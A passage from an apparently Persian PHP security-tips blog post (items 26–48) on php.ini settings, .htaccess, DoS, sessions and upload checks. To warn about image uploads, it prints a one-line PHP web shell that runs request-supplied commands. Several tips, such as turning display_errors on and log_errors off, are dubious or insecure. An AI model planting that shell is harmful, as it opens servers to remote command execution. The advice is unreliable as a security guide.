href="http://blog.iflashlord.com/1387/12/%d9%86%da%a9%d8%a7%d8%aa-%d8%a7%d8%b5%d9%88%d9%84-%d9%85%d9%87%d9%85-%d8%a8%d8%b1%d9%86%d8%a7%d9%85%d9%87-%d9%86%d9%88%db%8c%d8%b3%db%8c/">?</a></span></div> <table border="0" cellpadding="0" cellspacing="0"> <tbody> <tr> <td> <div>1</div> </td> <td> <div> <div><code>@exti(”);</code></div> </div> </td> </tr> </tbody> </table> </div> </div> </div> <p><strong> </strong> جهت پاکسازی نهایی(آخر) بعد از خودش استفاده بکنید.<br> <strong><span style="color: seagreen;">دسترسی فایلها تون رو هم به ReadOnly تنظیم کنید. حتی index.html ها در پوشه های خالی!</span></strong></p> <p><strong><span style="color: #808080;">۲۶</span></strong>- اگر از short_open_tag مثل <؟ ؟> استفاده می کنید از فعال(On) بودن این Option در راس نرم افزارتون مطمعن بشید:</p> <div> <div> <div id="highlighter_640296"> <div><span><a href="http://blog.iflashlord.com/1387/12/%d9%86%da%a9%d8%a7%d8%aa-%d8%a7%d8%b5%d9%88%d9%84-%d9%85%d9%87%d9%85-%d8%a8%d8%b1%d9%86%d8%a7%d9%85%d9%87-%d9%86%d9%88%db%8c%d8%b3%db%8c/">?</a></span></div> <table border="0" cellpadding="0" cellspacing="0"> <tbody> <tr> <td> <div>1</div> </td> <td> <div> <div><code>@</code><code>ini_set</code><code>(’short_open_tag’, ‘on’);</code></div> </div> </td> </tr> </tbody> </table> </div> </div> </div> <p><span style="font-size: xx-small;">این Option در تعداد بیشماری از Server ها، بصورت Off هستش!</span></p> <p><strong><span style="color: #808080;">۲۷</span></strong>- <strong><span style="color: deepskyblue;"> </span></strong>حتاامکان از بسته PEAR :: Db استفاده نکنید!<br> این بسته <strong>۲ مزایا داره که == ۲ معایبش</strong>… چون PEAR :: Db با PHP بکار گرفته میشه،<br> <strong>پس ۱: </strong>لایه ای که در PHP نوشته می شود از توابع داخلی خود PHP کند تر هست! مخصوصاً اگر بدون کش opcode اجرا شود. که اغلب می شود. نمی دونم چطوری، ولی فکر کنم با دعا جادو!<br> <strong>پس ۲: </strong>لایه اضافی کد، پیچیدگی و احتمال خطا را افزایش میده و در نتیجه آسیب پذیر میشه.<br> <strong>من، برای خودم </strong>هیچ کدوم از بسته های PEAR رو قبول ندارم. مخصوصاً بسته های Filtration Validation Db. پیشنهاد می کنم شما هم نداشته باشید.</p> <p><strong><span style="color: #808080;">۲۸</span></strong>-<strong> </strong>حملات <strong>DOS</strong>!<br> ساده ترین و عامیانه ترین عواملی که باعث میشن: <strong>پهنای باند پایین</strong>، <strong>پیکربندی نامناسب سرور وب</strong> و استفاده از <strong>نرم افزار های سنگین</strong>(نیوک ها، تالار/انجمن ها…)(برای کار های سبک) و <strong>غیر استاندارد</strong> هستش!<br> راه حل ها(در مورد همه زبانهای تحت وب صدق میکنه): پهنای باند حداقل ۵۰۰ مگابایت، محدود کردن حجم هر بسته(HTTP post) نسبت به پهنای باند، محدود کردن حجم هر درخواست(Body request) نسبت به پهنای باند، محدود کردن حجم Upload فایل نسبت به پهنای باند، استفاده از فشرده سازی محتوا(Output)/Cache، محدود کردن زمان Excute نرم افزار(مثلاً ۲۵ ثانیه)، بهینه سازی/استاندارد سازی محتوای Client-side، انتقال ندادن خطاهای HTTP به صفحات اصلی(در غیر این صورت یک Referer خطرناک هم خواهید داشت)، استفاده از فرمت های مناسب(JPG, JPEG, JPE…) تصاویر، Handing کردن Repetition/Duplication ها، <strong>محدود کردن ترافیک خارجی با استفاده از IP range</strong> و…<br> محدود کردن ترافیک با استفاده از IP range: در وبسایتهای داخلی، طبیعتاً نیازی به ترافیک کشورهای خارجی نیست(اعم از Spam/Bot/Visitor…)! با Block کردن range های IP کشورهای خارجی،<strong> پهنای باند و امنیت بیشتر </strong>رو برای وبسایت و سرور تون مهیا کنید. مثل <strong>روسیه،</strong> عربستان، افغانستان، ترکیه و…</p> <p><strong><span style="color: #808080;">۲۹</span></strong>- پروتکل WAP<br> 25% برنامه نویسان با این پروتکل آشنایی ندارند! ۵۰% آشنایی دارند ولی اهمیتی نمیدن! ۲۵% می شناسن و اهمیت میدن…<br> تنها چیزی که میشه گفت: این پروتکل همون قدر مفید و قدرتمند هستش/همون قدر هم خطرناک!<br> فقط چند پیشنهاد: یا کلاً اجازه ورود رو بهش ندید(ارزشش رو داره) یا تماماً Header رو پاکسازی کنید(کمی سخته) یا فقط دسترسی Browse بهش بدید(کار کشته میطلبه).</p> <p><strong><span style="color: #808080;">۳۰</span></strong>- برای جلوگیری از ورود <strong>کاراکترهای مخرب</strong> UTF/Unicode به جداول Latin، از Option زیر برای ساختن جدول استفاده کنید(در مورد همه Database ها صدق میکنه):</p> <div dir="ltr">charset= utf8</div> <p><strong><span style="color: #808080;">31</span></strong>- از قرار دادن <strong>فضا های خالی بی مورد و Comment های بیجا و نامناسب</strong> خودداری کنید. اینها تقریباً ۱۵% از حجم کل نرم افزارتون رو میگیرند!(Web programming میکنید نه Desktop programming).</p> <p><strong><span style="color: #808080;">32</span></strong>- حتالمکان توابع رو در کلاس بصورت <strong>static</strong> تعریف کنید، چراکه سرعت پردازش/Compile رو بسیار افزایش میده(مخصوصاً توابع طولانی و سنگین).</p> <p><strong><span style="color: #808080;">۳۳</span></strong>- به هیچ وجه از دستور print استفاده نکنید(++۹۹۹۹E+ بار گفته شده). دلیلتون برای استفاده چیه؟!</p> <p><strong><span style="color: #808080;">۳۴</span></strong>- در هنگام نصب جداول از بودن یا نبودنش مطلع بشید تا هنگام نصب/پیکربندی با خطا مواجه نشین. مثلاً:</p> <div> <div> <div id="highlighter_758093"> <div><span><a href="http://blog.iflashlord.com/1387/12/%d9%86%da%a9%d8%a7%d8%aa-%d8%a7%d8%b5%d9%88%d9%84-%d9%85%d9%87%d9%85-%d8%a8%d8%b1%d9%86%d8%a7%d9%85%d9%87-%d9%86%d9%88%db%8c%d8%b3%db%8c/">?</a></span></div> <table border="0" cellpadding="0" cellspacing="0"> <tbody> <tr> <td> <div>1</div> <div>2</div> </td> <td> <div> <div><code>drop</code> <code>table</code> <code>if exists `xxxxx`;</code></div> <div><code>create</code> <code>table</code> <code>if </code><code>not</code> <code>exists `xxxxx`;</code></div> </div> </td> </tr> </tbody> </table> </div> </div> </div> <p><strong><span style="color: #808080;">35</span></strong>- حتاالمکان برای Database تون Password تعیین کنید.<br> اغلب Database ها بصورت پیش فرض Password هایی برای مدیر دارند، که خرابکار با بدست آوردن Username براحتی وارد Database خواهد شد و…!!<br> پس برای Database تون Password تعیین کنید.</p> <p><strong><span style="color: #808080;">۳۶</span></strong>- تنضیمات PHP:<br> register_globals رو Off قرار بدید(++۹۹۹۹E+ بار گفته شده).<br> session.auto_start رو ۰ قرار بدید.<br> default_mimetype رو text/html قرار بدید(سرعت بیشتر).<br> display_errors رو ۱ قرار بدید.<br> بهتره log_errors رو Off قرار بدید.<br> بهتره DATABASE.allow_persistent رو Off قرار بدید.<br> بهتره DATABASE.max_persistent رو ۱- قرار بدید.<br> حتاامکان DATABASE.default_user و DATABASE.default_password رو خالی بزارید.<br> حتاامکان session.hash_function رو ۱ قرار بدید(SHA1).<br> session.hash_bits_per_character رو ۵ قرار بدید.<br> در حالت معمولی دلیلی ندارید که safe_mode رو On قرار بدید.</p> <p><strong><span style="color: #808080;">۳۷</span></strong>- یک فایل htaccess درست کنید(برای نرم افزارتون) و تنظیمات زیر رو درونش قرار بدید(در حالت عادی):</p> <div> <div id="highlighter_931829"> <div><span><a href="http://blog.iflashlord.com/1387/12/%d9%86%da%a9%d8%a7%d8%aa-%d8%a7%d8%b5%d9%88%d9%84-%d9%85%d9%87%d9%85-%d8%a8%d8%b1%d9%86%d8%a7%d9%85%d9%87-%d9%86%d9%88%db%8c%d8%b3%db%8c/">?</a></span></div> <table border="0" cellpadding="0" cellspacing="0"> <tbody> <tr> <td> <div>01</div> <div>02</div> <div>03</div> <div>04</div> <div>05</div> <div>06</div> <div>07</div> <div>08</div> <div>09</div> <div>10</div> <div>11</div> </td> <td> <div> <div><code><Files .htaccess>order allow,denydeny from all</Files></code></div> <div> </div> <div><code>Options All -Indexes -ExecCGI -MultiViews</code></div> <div> </div> <div><code>DirectoryIndex index.php index.html</code></div> <div> </div> <div><code>AddDefaultCharset utf-8</code></div> <div> </div> <div><code><FilesMatch "\.(php|phphtml|html|xml)$">Header unset cache-control</FilesMatch></code></div> <div> </div> <div><code><IfModule sapi_apache2.c>php_value register_globals 0php_value session.auto_start 0</IfModule></code></div> </div> </td> </tr> </tbody> </table> </div> </div> <p>(این فایل رو در پوشه(Folder) اصلی نرم افزار قرار بدید.)</p> <p><strong><span style="color: #808080;">۳۸</span></strong>- <strong>محتویات</strong> تمام فایلهای Index.html یا Index.php یا Index.* <strong>در پوشه های خالی</strong> رو پاک کنید و فایل رو خالی از هر چیزی کنید…<br> <strong>حداقل</strong> اگر ۲۰ پوشه داشته باشید در هر ۲۰ پوشه ۵ پوشه دیگر و… و در هر فایل Index <strong>حداقل</strong> ۵۰ کیلوبایت اطلاعات، ببینید چه حجم زیادی از نرم افزار رو میگیرن؟!(Web programming میکنید نه Desktop programming)</p> <p><strong><span style="color: #808080;">39</span></strong>- اگر نرم افزارتون قابلیت Multi language/چند زبانه رو داره، هیچ وقت یک فایل رو مختص تمام این کار قرار <strong>ندید</strong> و در همه جا همون رو فراخوانی <strong>نکنید</strong>(خیلی از نرم افزارهای معروف و مثلاً استاندارد اینکارو میکنن)! در صورتی که نیمی از متغیرها بی استفاده تعریف و Load میشن!! و دیگه Unload/Unset هم نمیشن!!<br> باید مثلاً <strong>۱ پوشه به نام زبان درست کنید </strong>و <strong>درونش بخش بخش فایل های Language رو قرار بدید.</strong> مثلاً ,menu.php ,events.php ,global.php index.php ,login.php,…</p> <p><strong><span style="color: #808080;">۴۰</span></strong>- هیچ وقت از آرایه/متغیر سراسری <strong>GLOBALS$/global</strong> استفاده نکنید. این دستور به صورت Scope تعریف و ارجاع می شه! و<strong> ایمنی خیلی پایینی</strong> هم داره. همچنین <strong>از ()UnSet هم پشتیبانی نمی کنه</strong>(تجسم خلاق کنیم حذفش کنن…).</p> <p><strong><span style="color: #808080;">۴۱</span></strong>-<strong> </strong>بهتره هیچ وقت از include و include_once استفاده نکنید! دلیلتون برای استفاده چیه؟!</p> <p><strong><span style="color: #808080;">۴۲</span></strong>-<strong> </strong>حتاالمکان آدرس کامل(Path) رو برای ضمیمه هر فایلی بنویسید. این کار سرعت پیدا/Solve کردن Path رو توسط سرور افزایش میده(Steelsheet ها، JavaScript ها، require ها و…).</p> <p><strong><span style="color: #808080;">۴۳</span></strong>-<strong> </strong>بعد از نصب/پیکربندی نرم افزار، حتماً حتماً پوشه/فایل Install رو حذف کنید!</p> <p><strong><span style="color: #808080;">۴۴</span></strong>-<strong> </strong>حتاامکان از دستور switch بجای چند شرطی if استفاده کنید. اینکار سرعت پردازش/Compile رو افزایش میده.</p> <p><strong><span style="color: #808080;">۴۵</span></strong>- حتالمکان از @ برای ignore کردن خطا(Error suppression) در <strong>توابع/دستورات</strong> طولانی/سنگین/پر کاربرد استفاده نکنید! این کار سرعت سرور وب رو برای پردازش/Compile<strong> خیلی کاهش میده</strong>!!</p> <p><strong><span style="color: #808080;">۴۶</span></strong>- متغیر ها، آرایه ها، درخواستهای HTTP و… رو بعد از استفاده <strong>حتماً حتماً</strong> Unset/خنثی کنید!</p> <p><strong><span style="color: #808080;">۴۷</span></strong>- کدها/اسکریپتهای کوتاه رو در فایل HTML قرار بدید. این کار سرعت سرور وب رو برای پردازش/Compile خیلی افزایش میده.</p> <p><strong><span style="color: #808080;">۴۸</span></strong>-<strong> </strong>بعد استفاده از session حتماً حتماً اون رو <strong>destroy</strong> و <strong>unset</strong> کنید!!<br> session_unset و session_destroy<br> <strong>اغلب PHP نویسان به session_destroy کفایت میکنن!!</strong> در صورتی که unset یه چیزه destroy چیزه دیگست…</p> <p>و آخر اینکه مواظب تصاویری که <strong>Upload</strong> میشن باشید!!<br> این مساله بیشتر در مورد فرم های ثبت نام!!، فرم های استخدام!! گالری های تصاویر!! و امثالش صدق میکنه.<br> باید مطمعن بشید که فایل Upload شده تصویری هستش! در غیر این صورت با همچین چیزی مواجه میشید:<br> مثال ساده محتوای فایل hack.gif</p> <div style="margin: 5px 20px 20px;"> <div style="margin-bottom: 2px;"> <div> <div id="highlighter_358477"> <div><span><a href="http://blog.iflashlord.com/1387/12/%d9%86%da%a9%d8%a7%d8%aa-%d8%a7%d8%b5%d9%88%d9%84-%d9%85%d9%87%d9%85-%d8%a8%d8%b1%d9%86%d8%a7%d9%85%d9%87-%d9%86%d9%88%db%8c%d8%b3%db%8c/">?</a></span></div> <table border="0" cellpadding="0" cellspacing="0"> <tbody> <tr> <td> <div>1</div> </td> <td> <div> <div><code><?php@system(</code><code>$_REQUEST</code><code>[</code><code>'Command'</code><code>]);?><?phpworm, cookiestealer...?></code></div> </div> </td> </tr> </tbody> </table> </div> </div> </div> </div> <p>برای جلوگیری از اینکار سایز/اندازه/پیکسل تصویر رو بگیرید… اگر فاقد اینها بود فایل تصویری نیست.<br> امیدوارم این مطلب بسیار کاربردی و مهم مورد استفاده شما قرار بگیرید، انشاء الله آرایه قلبتون null نباشه length اش هیچ وقت هم صفر نباشه</p> <p><br></p>
